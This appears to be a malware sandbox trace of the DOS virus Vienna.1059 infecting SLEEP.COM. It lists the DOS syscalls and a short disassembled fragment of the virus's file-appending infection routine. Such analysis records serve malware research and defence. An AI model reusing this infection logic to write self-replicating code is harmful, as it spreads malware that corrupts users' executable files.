Sample viewer

vx.netlux.org/Virus.DOS.Vienna.1059

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:08:05.158147246Z 47 PC: 12e42 | Get disk transfer address
2018-12-17T22:08:05.160326127Z 26 PC: 12e54 | Set disk transfer address
2018-12-17T22:08:05.161753083Z 78 PC: 12ef5 | Find first file
2018-12-17T22:08:05.167756055Z 67 PC: 12f54 | Get or set file attributes
2018-12-17T22:08:05.173707834Z 67 PC: 12f65 | Get or set file attributes
2018-12-17T22:08:05.193543956Z 61 PC: 12f6f | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:08:05.200598421Z 87 PC: 12f82 | Get or set file date and time
2018-12-17T22:08:05.202569611Z 44 PC: 12f8e | Get time 0x12f8e: mov cx, 3
0x12f91: mov dx, 0x19e
0x12f94: add dx, si
0x12f96: mov ah, 0x3f
0x12f98: int 0x21
0x12f9a: jb 0x12fe6
0x12f9c: cmp ax, 3
0x12f9f: jne 0x12fe6
0x12fa1: xor cx, cx
0x12fa3: xor dx, dx
0x12fa5: mov ax, 0x4202
0x12fa8: int 0x21
0x12faa: jb 0x12fe6
0x12fac: push ax
0x12fad: sub ax, 3
0x12fb0: pop cx
0x12fb1: add cx, 0x305
0x12fb5: mov word ptr [si + 0x1a2], ax
0x12fb9: push si
0x12fba: pop di
2018-12-17T22:08:05.205970759Z 63 PC: 12f9a | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:08:05.212499381Z 66 PC: 12faa | Move file pointer
2018-12-17T22:08:05.214204928Z 64 PC: 12fce | Write file or device (Write 1059 bytes on handle 5)
2018-12-17T22:08:05.224083549Z 66 PC: 12fd9 | Move file pointer
2018-12-17T22:08:05.225738779Z 64 PC: 12fe6 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:08:05.232434291Z 87 PC: 12ff9 | Get or set file date and time
2018-12-17T22:08:05.234531771Z 62 PC: 12ffd | Close file
2018-12-17T22:08:05.242462636Z 67 PC: 1300b | Get or set file attributes
2018-12-17T22:08:05.252661896Z 26 PC: 13018 | Set disk transfer address